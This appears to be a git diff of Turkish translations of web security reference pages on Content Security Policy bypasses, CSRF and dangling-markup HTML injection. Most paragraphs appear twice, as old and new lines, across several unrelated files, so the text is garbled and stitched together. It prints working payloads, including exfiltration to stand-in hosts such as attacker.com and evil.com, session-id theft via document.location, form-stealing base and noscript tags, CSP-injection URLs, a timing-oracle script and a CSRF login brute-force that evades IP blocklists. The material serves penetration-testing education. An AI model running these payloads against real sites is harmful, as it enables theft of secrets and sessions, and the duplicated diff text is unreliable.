Eğer sizin gönderdiğiniz bir **parametre** **politikanın** **declaration** kısmına **yapıştırılıyorsa**, o zaman **politikayı** işe yaramaz hale getirecek şekilde **değiştirebilirsiniz**. Bu bypass'lerden herhangi biri ile **script 'unsafe-inline'** **izin verebilirsiniz**:
 | 
			
		||||
```bash
 | 
			
		||||
script-src-elem *; script-src-attr *
 | 
			
		||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 | 
			
		||||
```
 | 
			
		||||
Bu direktif mevcut script-src direktiflerini **geçersiz kılacağı** için.\
 | 
			
		||||
Burada bir örnek bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 | 
			
		||||
Bir örneği burada bulabilirsiniz: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 | 
			
		||||
 | 
			
		||||
#### Edge
 | 
			
		||||
 | 
			
		||||
Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politikayı** **silip atar**.\
 | 
			
		||||
Edge'de çok daha basit. CSP'ye sadece şunu ekleyebilirseniz: **`;_`** **Edge** tüm **politika**yı **sil**er.\
 | 
			
		||||
Örnek: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 | 
			
		||||
 | 
			
		||||
### img-src \*; via XSS (iframe) - Zaman saldırısı
 | 
			
		||||
### img-src \*; XSS (iframe) aracılığıyla - Zaman saldırısı
 | 
			
		||||
 | 
			
		||||
`'unsafe-inline'` direktifinin eksikliğine dikkat edin.\
 | 
			
		||||
Bu sefer kurbanı **XSS** ile **kontrolünüzdeki** bir sayfayı **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken süreyi **kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
 | 
			
		||||
Bu sefer kurbanı **XSS** ile **kontrolünüzdeki** bir sayfayı **yüklemeye** zorlayabilirsiniz. Bu sefer kurbanın bilgi almak istediğiniz sayfaya erişmesini sağlayacaksınız (**CSRF**). Sayfanın içeriğine erişemezsiniz, ancak sayfanın yüklenmesi için gereken zamanı **kontrol edebilirseniz** ihtiyacınız olan bilgiyi çıkarabilirsiniz.
 | 
			
		||||
 | 
			
		||||
Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi ile **yanıt** **daha uzun** sürecektir çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
 | 
			
		||||
Bu sefer bir **bayrak** çıkarılacak, her seferinde bir **karakter doğru tahmin edildiğinde** SQLi aracılığıyla **yanıt** **daha fazla zaman** alır çünkü uyku fonksiyonu vardır. Sonra, bayrağı çıkarabileceksiniz:
 | 
			
		||||
```html
 | 
			
		||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 | 
			
		||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
 | 
			
		||||
@ -540,15 +540,15 @@ console.log(prefix)
 | 
			
		||||
run()
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
### Yer İmleri Aracılığıyla
 | 
			
		||||
### Via Bookmarklets
 | 
			
		||||
 | 
			
		||||
Bu saldırı, saldırganın **kullanıcıyı tarayıcının yer imi üzerine bir bağlantıyı sürükleyip bırakmaya ikna etmesi** anlamına gelir. Bu yer imi, **kötü niyetli javascript** kodu içerecek ve sürüklenip bırakıldığında veya tıklandığında mevcut web penceresinin bağlamında çalıştırılacak, **CSP'yi atlayarak çerezler veya tokenlar gibi hassas bilgileri çalmaya** olanak tanıyacaktır.
 | 
			
		||||
 | 
			
		||||
Daha fazla bilgi için [**orijinal raporu buradan kontrol edin**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 | 
			
		||||
 | 
			
		||||
### CSP'yi Kısıtlayarak Atlamak
 | 
			
		||||
### CSP'yi kısıtlayarak CSP atlatma
 | 
			
		||||
 | 
			
		||||
[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlanmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **dom clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.
 | 
			
		||||
[**bu CTF yazısında**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP, izin verilen bir iframe içine daha kısıtlayıcı bir CSP enjekte edilerek atlatılmaktadır; bu CSP, belirli bir JS dosyasının yüklenmesine izin vermemekte ve ardından **prototip kirlenmesi** veya **DOM clobbering** yoluyla **farklı bir scriptin rastgele bir script yüklemesine** olanak tanımaktadır.
 | 
			
		||||
 | 
			
		||||
Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
 | 
			
		||||
```html
 | 
			
		||||
@ -556,8 +556,8 @@ Bir Iframe'in **CSP'sini** **`csp`** niteliği ile **kısıtlayabilirsiniz**:
 | 
			
		||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 | 
			
		||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 | 
			
		||||
```
 | 
			
		||||
[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48)'nda, **HTML injection** aracılığıyla **CSP**'yi daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\
 | 
			
		||||
CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını sağlayarak ve belirli inline script'leri sha ile etkinleştirerek **kaldırılabilir.**
 | 
			
		||||
[**bu CTF yazısı**](https://github.com/aszx87410/ctf-writeups/issues/48) içinde, **HTML injection** aracılığıyla **CSP'yi** daha fazla **kısıtlamak** mümkün oldu, böylece CSTI'yi engelleyen bir script devre dışı bırakıldı ve bu nedenle **açık hale geldi.**\
 | 
			
		||||
CSP, **HTML meta etiketleri** kullanılarak daha kısıtlayıcı hale getirilebilir ve inline script'ler, **nonce**'larını **kaldırarak** devre dışı bırakılabilir ve belirli inline script'ler **sha** aracılığıyla etkinleştirilebilir:
 | 
			
		||||
```html
 | 
			
		||||
<meta
 | 
			
		||||
http-equiv="Content-Security-Policy"
 | 
			
		||||
@ -568,7 +568,7 @@ content="script-src 'self'
 | 
			
		||||
```
 | 
			
		||||
### JS exfiltrasyonu ile Content-Security-Policy-Report-Only
 | 
			
		||||
 | 
			
		||||
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve eğer **exfiltrate** etmek istediğiniz **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından yüksek ihtimalle `unsafe-inline` izin verilmediğinden, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
 | 
			
		||||
Eğer sunucunun **`Content-Security-Policy-Report-Only`** başlığı ile **kontrol ettiğiniz bir değer** ile yanıt vermesini sağlayabilirseniz (belki bir CRLF nedeniyle), bunu kendi sunucunuza yönlendirebilir ve eğer **exfiltrate** etmek istediğiniz **JS içeriğini** **`<script>`** ile sararsanız ve CSP tarafından `unsafe-inline`'in muhtemelen izin verilmediği için, bu bir **CSP hatası** tetikleyecek ve scriptin bir kısmı (hassas bilgileri içeren) `Content-Security-Policy-Report-Only` üzerinden sunucuya gönderilecektir.
 | 
			
		||||
 | 
			
		||||
Bir örnek için [**bu CTF yazımına göz atın**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 | 
			
		||||
 | 
			
		||||
@ -583,9 +583,9 @@ document.querySelector("DIV").innerHTML =
 | 
			
		||||
- Bu URL daha sonra CSP tarafından **izin verilmeyen** bir gizli URL'ye (örneğin, `https://usersecret.example2.com`) yönlendirir.
 | 
			
		||||
- `securitypolicyviolation` olayını dinleyerek, `blockedURI` özelliğini yakalayabilirsiniz. Bu özellik, engellenen URI'nin alan adını açığa çıkararak, ilk URL'nin yönlendirdiği gizli alan adını sızdırır.
 | 
			
		||||
 | 
			
		||||
Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alma konusunda farklı davranışlar sergilediğini belirtmek ilginçtir; bu da tanımsız davranış nedeniyle hassas bilgilerin sızdırılmasına yol açabilir.
 | 
			
		||||
Chrome ve Firefox gibi tarayıcıların CSP ile ilgili iframeleri ele alırken farklı davranışlar sergilediğini belirtmek ilginçtir; bu durum, tanımsız davranış nedeniyle hassas bilgilerin sızdırılmasına yol açabilir.
 | 
			
		||||
 | 
			
		||||
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, bir ikili arama algoritmasına dayanır ve belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamayı gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kod parçası:
 | 
			
		||||
Başka bir teknik, gizli alt alan adını çıkarmak için CSP'yi istismar etmeyi içerir. Bu yöntem, ikili arama algoritmasına dayanır ve belirli alan adlarını kasıtlı olarak engelleyerek CSP'yi ayarlamayı gerektirir. Örneğin, gizli alt alan adı bilinmeyen karakterlerden oluşuyorsa, CSP direktifini bu alt alan adlarını engellemek veya izin vermek için değiştirerek farklı alt alan adlarını yinelemeli olarak test edebilirsiniz. İşte bu yöntemi kolaylaştırmak için CSP'nin nasıl ayarlanabileceğini gösteren bir kesit:
 | 
			
		||||
```markdown
 | 
			
		||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 | 
			
		||||
```
 | 
			
		||||
@ -610,7 +610,7 @@ Bu durumda, teknik esasen **CSP başlığının gönderilmemesi için yanıt tam
 | 
			
		||||
 | 
			
		||||
### Hata Sayfasını Yeniden Yazma
 | 
			
		||||
 | 
			
		||||
[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak bir CSP korumasını aşmak mümkün görünmektedir.
 | 
			
		||||
[**bu yazıdan**](https://blog.ssrf.kr/69) anlaşıldığına göre, bir hata sayfasını (potansiyel olarak CSP olmadan) yükleyerek ve içeriğini yeniden yazarak CSP korumasını aşmak mümkün görünmektedir.
 | 
			
		||||
```javascript
 | 
			
		||||
a = window.open("/" + "x".repeat(4100))
 | 
			
		||||
setTimeout(function () {
 | 
			
		||||
@ -619,20 +619,20 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 | 
			
		||||
```
 | 
			
		||||
### SOME + 'self' + wordpress
 | 
			
		||||
 | 
			
		||||
SOME, bir sayfanın **bir uç noktasında** XSS (veya çok sınırlı XSS) **istismar eden** bir tekniktir, **aynı kökene ait diğer uç noktaları istismar etmek için.** Bu, saldırgan sayfasından savunmasız uç noktanın yüklenmesi ve ardından istismar etmek istediğiniz aynı kökenden gerçek uç noktaya saldırgan sayfasının yenilenmesiyle yapılır. Bu şekilde, **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **istismar etmek için gerçek uç noktanın DOM'una** **erişebilir.** Daha fazla bilgi için kontrol edin:
 | 
			
		||||
SOME, bir sayfanın **bir uç noktasında** XSS (veya çok sınırlı XSS) **istismar eden** bir tekniktir, **aynı kökün diğer uç noktalarını istismar etmek için.** Bu, saldırgan sayfasından savunmasız uç noktanın yüklenmesi ve ardından istismar etmek istediğiniz aynı kök içindeki gerçek uç noktaya saldırgan sayfasının yenilenmesiyle yapılır. Bu şekilde, **savunmasız uç nokta**, **payload** içindeki **`opener`** nesnesini kullanarak **istismar etmek için gerçek uç noktanın DOM'una** **erişebilir.** Daha fazla bilgi için kontrol edin:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Ayrıca, **wordpress**'te `/wp-json/wp/v2/users/1?_jsonp=data` adresinde bir **JSONP** uç noktası bulunmaktadır ve bu uç nokta, çıktıda gönderilen **verileri** **yansıtacaktır** (yalnızca harf, rakam ve nokta sınırlaması ile).
 | 
			
		||||
Ayrıca, **wordpress** `/wp-json/wp/v2/users/1?_jsonp=data` adresinde **JSONP** uç noktasına sahiptir ve bu uç nokta, çıktıda gönderilen **veriyi** **yansıtacaktır** (yalnızca harf, rakam ve noktalarla sınırlıdır).
 | 
			
		||||
 | 
			
		||||
Bir saldırgan, bu uç noktayı **WordPress'e karşı bir SOME saldırısı oluşturmak için** istismar edebilir ve bunu `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` içine **gömerek** kullanabilir; bu **script** **'self' tarafından izin verildiği için** **yüklenmiş** olacaktır. Ayrıca, WordPress yüklü olduğu için, bir saldırgan, bir kullanıcıya daha fazla ayrıcalık vermek, yeni bir eklenti yüklemek için **CSP'yi atlayan** **savunmasız** **callback** uç noktası aracılığıyla **SOME saldırısını** istismar edebilir...\
 | 
			
		||||
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/) adresine bakın.
 | 
			
		||||
Bu saldırıyı nasıl gerçekleştireceğiniz hakkında daha fazla bilgi için [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 | 
			
		||||
 | 
			
		||||
## CSP Exfiltration Bypasses
 | 
			
		||||
 | 
			
		||||
Eğer dış sunucularla **etkileşimde bulunmanıza** izin vermeyen katı bir CSP varsa, bilgileri dışarı aktarmak için her zaman yapabileceğiniz bazı şeyler vardır.
 | 
			
		||||
Eğer dış sunucularla **etkileşimde bulunmanıza** izin vermeyen katı bir CSP varsa, bilgileri dışarı çıkarmak için her zaman yapabileceğiniz bazı şeyler vardır.
 | 
			
		||||
 | 
			
		||||
### Location
 | 
			
		||||
 | 
			
		||||
@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid
 | 
			
		||||
```
 | 
			
		||||
### Meta etiketi
 | 
			
		||||
 | 
			
		||||
Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, içerik sızdırmaz).
 | 
			
		||||
Bir meta etiketi enjekte ederek yönlendirme yapabilirsiniz (bu sadece bir yönlendirmedir, içerik sızdırmaz)
 | 
			
		||||
```html
 | 
			
		||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
 | 
			
		||||
```
 | 
			
		||||
@ -669,7 +669,7 @@ linkEl.rel = "prefetch"
 | 
			
		||||
linkEl.href = urlWithYourPreciousData
 | 
			
		||||
document.head.appendChild(linkEl)
 | 
			
		||||
```
 | 
			
		||||
Bunun olmasını önlemek için sunucu HTTP başlığını gönderebilir:
 | 
			
		||||
Bu durumun gerçekleşmesini önlemek için sunucu şu HTTP başlığını gönderebilir:
 | 
			
		||||
```
 | 
			
		||||
X-DNS-Prefetch-Control: off
 | 
			
		||||
```
 | 
			
		||||
 | 
			
		||||
@ -136,7 +136,7 @@ form.submit()
 | 
			
		||||
```
 | 
			
		||||
### JSON Verileri için Ön Uç İsteklerini Aşma
 | 
			
		||||
 | 
			
		||||
JSON verilerini bir POST isteği ile göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanmak bir ön uç isteği başlatır. Yine de, bu sınırlamayı aşmanın ve sunucunun JSON verilerini Content-Type'a bakılmaksızın işleyip işlemediğini kontrol etmenin stratejileri vardır:
 | 
			
		||||
JSON verilerini POST isteği ile göndermeye çalışırken, bir HTML formunda `Content-Type: application/json` kullanmak doğrudan mümkün değildir. Benzer şekilde, bu içerik türünü göndermek için `XMLHttpRequest` kullanmak bir ön uç isteği başlatır. Ancak, bu sınırlamayı aşmanın ve sunucunun JSON verilerini Content-Type'a bakılmaksızın işleyip işlemediğini kontrol etmenin bazı stratejileri vardır:
 | 
			
		||||
 | 
			
		||||
1. **Alternatif İçerik Türlerini Kullanma**: Formda `enctype="text/plain"` ayarlayarak `Content-Type: text/plain` veya `Content-Type: application/x-www-form-urlencoded` kullanın. Bu yaklaşım, arka ucun içerik türüne bakılmaksızın verileri kullanıp kullanmadığını test eder.
 | 
			
		||||
2. **İçerik Türünü Değiştirme**: Sunucunun içeriği JSON olarak tanımasını sağlarken bir ön uç isteğinden kaçınmak için verileri `Content-Type: text/plain; application/json` ile gönderebilirsiniz. Bu, bir ön uç isteği tetiklemez ancak sunucu `application/json` kabul edecek şekilde yapılandırılmışsa doğru bir şekilde işlenebilir.
 | 
			
		||||
@ -144,7 +144,7 @@ JSON verilerini bir POST isteği ile göndermeye çalışırken, bir HTML formun
 | 
			
		||||
 | 
			
		||||
### Referans / Kaynak kontrolünü aşma
 | 
			
		||||
 | 
			
		||||
**Referans başlığından kaçınma**
 | 
			
		||||
**Referans başlığından kaçının**
 | 
			
		||||
 | 
			
		||||
Uygulamalar, 'Referer' başlığını yalnızca mevcut olduğunda doğrulayabilir. Bir tarayıcının bu başlığı göndermesini önlemek için aşağıdaki HTML meta etiketi kullanılabilir:
 | 
			
		||||
```xml
 | 
			
		||||
@ -189,7 +189,7 @@ document.forms[0].submit()
 | 
			
		||||
```
 | 
			
		||||
### **HEAD yöntemi atlatma**
 | 
			
		||||
 | 
			
		||||
[**Bu CTF yazısı**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) kısmında, [Oak'ın kaynak kodu](https://github.com/oakserver/oak/blob/main/router.ts#L281) ile bir yönlendiricinin **HEAD isteklerini GET istekleri olarak yanıt vermeden işlemek üzere ayarlandığı** açıklanmaktadır - bu, Oak'a özgü olmayan yaygın bir çözüm yoludur. HEAD istekleriyle ilgilenen belirli bir işleyici yerine, bunlar basitçe **GET işleyicisine verilir, ancak uygulama yanıt gövdesini kaldırır**.
 | 
			
		||||
[**Bu CTF yazısı**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) kısmında, **HEAD isteklerini GET istekleri olarak** yanıt gövdesi olmadan işlemek üzere ayarlanmış bir yönlendirici olan [Oak'ın kaynak kodu](https://github.com/oakserver/oak/blob/main/router.ts#L281) açıklanmaktadır - bu, Oak'a özgü olmayan yaygın bir geçici çözümdür. HEAD istekleriyle ilgilenen belirli bir işleyici yerine, bunlar basitçe **GET işleyicisine verilir, ancak uygulama yanıt gövdesini kaldırır**.
 | 
			
		||||
 | 
			
		||||
Bu nedenle, bir GET isteği sınırlıysa, **GET isteği olarak işlenecek bir HEAD isteği gönderebilirsiniz**.
 | 
			
		||||
 | 
			
		||||
@ -197,7 +197,7 @@ Bu nedenle, bir GET isteği sınırlıysa, **GET isteği olarak işlenecek bir H
 | 
			
		||||
 | 
			
		||||
### **CSRF Token'ını Sızdırma**
 | 
			
		||||
 | 
			
		||||
Eğer bir **CSRF token'ı** **savunma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) açığını veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/) açığını kullanarak **sızdırmayı** deneyebilirsiniz.
 | 
			
		||||
Eğer bir **CSRF token'ı** **savunma** olarak kullanılıyorsa, bir [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) açığını veya bir [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) açığını kullanarak **sızdırmayı** deneyebilirsiniz.
 | 
			
		||||
 | 
			
		||||
### **HTML etiketleri kullanarak GET**
 | 
			
		||||
```xml
 | 
			
		||||
@ -472,7 +472,7 @@ style="display:none"
 | 
			
		||||
src="http://google.com?param=VALUE"
 | 
			
		||||
onload="javascript:f1();"></iframe>
 | 
			
		||||
```
 | 
			
		||||
### **CSRF Token'ı Çal ve bir iframe ve form kullanarak bir POST isteği gönder**
 | 
			
		||||
### **CSRF Token'ı Çal ve bir iframe ile bir form kullanarak POST isteği gönder**
 | 
			
		||||
```html
 | 
			
		||||
<iframe
 | 
			
		||||
id="iframe"
 | 
			
		||||
@ -588,7 +588,7 @@ room: username,
 | 
			
		||||
```
 | 
			
		||||
## CSRF Giriş Kaba Kuvvet
 | 
			
		||||
 | 
			
		||||
Kod, bir CSRF token kullanarak bir giriş formunu Kaba Kuvvet ile kırmak için kullanılabilir (Ayrıca, olası bir IP kara listesini aşmaya çalışmak için X-Forwarded-For başlığını da kullanıyor):
 | 
			
		||||
Kod, bir CSRF token kullanarak bir giriş formunu Kaba Kuvvet ile kırmak için kullanılabilir (Ayrıca olası bir IP kara listesini aşmaya çalışmak için X-Forwarded-For başlığını da kullanıyor):
 | 
			
		||||
```python
 | 
			
		||||
import request
 | 
			
		||||
import re
 | 
			
		||||
 | 
			
		||||
@ -4,18 +4,18 @@
 | 
			
		||||
 | 
			
		||||
## Özgeçmiş
 | 
			
		||||
 | 
			
		||||
Bu teknik, bir **HTML enjeksiyonu bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Eğer **bir XSS** [**saldırısı**](../xss-cross-site-scripting/) gerçekleştirmek için herhangi bir yol bulamazsanız ama **bazı HTML etiketleri enjekte edebilirseniz** bu çok faydalıdır.\
 | 
			
		||||
Bu teknik, bir **HTML enjeksiyonu bulunduğunda** bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, **bir XSS** [**saldırısı**](../xss-cross-site-scripting/index.html) gerçekleştirmek için herhangi bir yol bulamazsanız ve **bazı HTML etiketleri** enjekte edebiliyorsanız çok faydalıdır.\
 | 
			
		||||
Ayrıca, HTML'de **açık metin olarak saklanan bazı sırlar** varsa ve bunları istemciden **sızdırmak** istiyorsanız veya bazı script yürütmelerini yanıltmak istiyorsanız da faydalıdır.
 | 
			
		||||
 | 
			
		||||
Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri, CSS, http-meta etiketleri, formlar, base...) sızdırarak bazı [**İçerik Güvenlik Politikası**](../content-security-policy-csp-bypass/) engellerini aşmak için kullanılabilir.
 | 
			
		||||
Burada yorumlanan birkaç teknik, bilgiyi beklenmedik yollarla (html etiketleri, CSS, http-meta etiketleri, formlar, base...) sızdırarak bazı [**İçerik Güvenlik Politikası**](../content-security-policy-csp-bypass/index.html) engellerini aşmak için kullanılabilir.
 | 
			
		||||
 | 
			
		||||
## Ana Uygulamalar
 | 
			
		||||
 | 
			
		||||
### Açık metin sırlarını çalmak
 | 
			
		||||
 | 
			
		||||
Sayfa yüklendiğinde `<img src='http://evil.com/log.cgi?` enjekte ederseniz, kurban, enjekte edilen `img` etiketi ile kod içindeki bir sonraki alıntı arasındaki tüm kodu size gönderecektir. Eğer o parçanın içinde bir sır varsa, onu çalacaksınız (aynı şeyi çift alıntı kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
 | 
			
		||||
Sayfa yüklendiğinde `<img src='http://evil.com/log.cgi?` enjekte ederseniz, kurban, enjekte edilen `img` etiketi ile kod içindeki bir sonraki alıntı arasındaki tüm kodu size gönderecektir. Eğer o parçanın içinde bir sır varsa, onu çalmış olursunuz (aynı şeyi çift alıntı kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
 | 
			
		||||
 | 
			
		||||
Eğer `img` etiketi yasaklandıysa (örneğin CSP nedeniyle) `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` kullanabilirsiniz.
 | 
			
		||||
Eğer `img` etiketi yasaklanmışsa (örneğin CSP nedeniyle) `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` kullanabilirsiniz.
 | 
			
		||||
```html
 | 
			
		||||
<img src='http://attacker.com/log.php?HTML=
 | 
			
		||||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
 | 
			
		||||
@ -41,7 +41,7 @@ steal me'<b>test</b>
 | 
			
		||||
```html
 | 
			
		||||
<base href="http://evil.com/" />
 | 
			
		||||
```
 | 
			
		||||
Sonra, verileri yola gönderen formlar (`<form action='update_profile.php'>` gibi) verileri kötü niyetli alan adına gönderecektir.
 | 
			
		||||
Sonra, verileri yola gönderen formlar (örneğin `<form action='update_profile.php'>`) verileri kötü niyetli alan adına gönderecektir.
 | 
			
		||||
 | 
			
		||||
### Formları Çalma 2
 | 
			
		||||
 | 
			
		||||
@ -61,11 +61,11 @@ Bu saldırının [**örneğini bu yazıda bulabilirsiniz**](https://portswigger.
 | 
			
		||||
 | 
			
		||||
### Açık metin sırlarını çalmak 2
 | 
			
		||||
 | 
			
		||||
Yeni bahsedilen tekniği kullanarak formları çalmak (yeni bir form başlığı enjekte ederek) ardından yeni bir giriş alanı enjekte edebilirsiniz:
 | 
			
		||||
Yeni bahsedilen tekniği kullanarak formları çalmak için (yeni bir form başlığı enjekte ederek) ardından yeni bir giriş alanı enjekte edebilirsiniz:
 | 
			
		||||
```html
 | 
			
		||||
<input type='hidden' name='review_body' value="
 | 
			
		||||
```
 | 
			
		||||
ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği ve bir sonraki çift tırnağı içerecektir. Bu saldırı, "_**Açık metin sırlarını çalmak**_" ile "_**Formları çalmak2**_" karıştırır.
 | 
			
		||||
ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği ve bir sonraki çift tırnağı içerecektir. Bu saldırı, "_**Açık metin sırlarını çalma**_" ile "_**Formları çalma2**_" karıştırır.
 | 
			
		||||
 | 
			
		||||
Aynı şeyi bir form ve bir `<option>` etiketi enjekte ederek de yapabilirsiniz. Kapalı bir `</option>` bulunana kadar tüm veriler gönderilecektir:
 | 
			
		||||
```html
 | 
			
		||||
@ -90,7 +90,7 @@ Bir formun yolunu değiştirebilir ve beklenmedik bir eylemin gerçekleştirilme
 | 
			
		||||
 | 
			
		||||
`<noscript></noscript>` Tarayıcının javascript'i desteklemediği durumlarda içeriği yorumlanacak bir etikettir (Javascript'i Chrome'da [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinden etkinleştirebilir/devre dışı bırakabilirsiniz).
 | 
			
		||||
 | 
			
		||||
Bir saldırgan kontrolündeki bir siteye, enjeksiyon noktasından sayfanın altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir:
 | 
			
		||||
Saldırganın kontrolündeki bir siteye, enjeksiyon noktasından sayfanın altına kadar içeriği dışarı aktarmanın bir yolu, bunu enjekte etmektir:
 | 
			
		||||
```html
 | 
			
		||||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
 | 
			
		||||
```
 | 
			
		||||
@ -111,7 +111,7 @@ new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponen
 | 
			
		||||
```
 | 
			
		||||
### Yanıltıcı script iş akışı 1 - HTML ad alanı saldırısı
 | 
			
		||||
 | 
			
		||||
HTML içinde bir id ile yeni bir etiket ekleyin, bu etiket bir sonraki etiketi geçersiz kılacak ve bir scriptin akışını etkileyecek bir değer içerecektir. Bu örnekte, bir bilginin kiminle paylaşılacağını seçiyorsunuz:
 | 
			
		||||
HTML içinde bir id ile yeni bir etiket ekleyin, bu etiket bir sonraki etiketi geçersiz kılacak ve bir scriptin akışını etkileyecek bir değere sahip olacak. Bu örnekte, bir bilginin kiminle paylaşılacağını seçiyorsunuz:
 | 
			
		||||
```html
 | 
			
		||||
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
 | 
			
		||||
Share this status update with: ← Legitimate optional element of a dialog
 | 
			
		||||
@ -144,7 +144,7 @@ else request.access_mode = AM_PRIVATE;
 | 
			
		||||
<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
 | 
			
		||||
set_sharing({ ... })
 | 
			
		||||
```
 | 
			
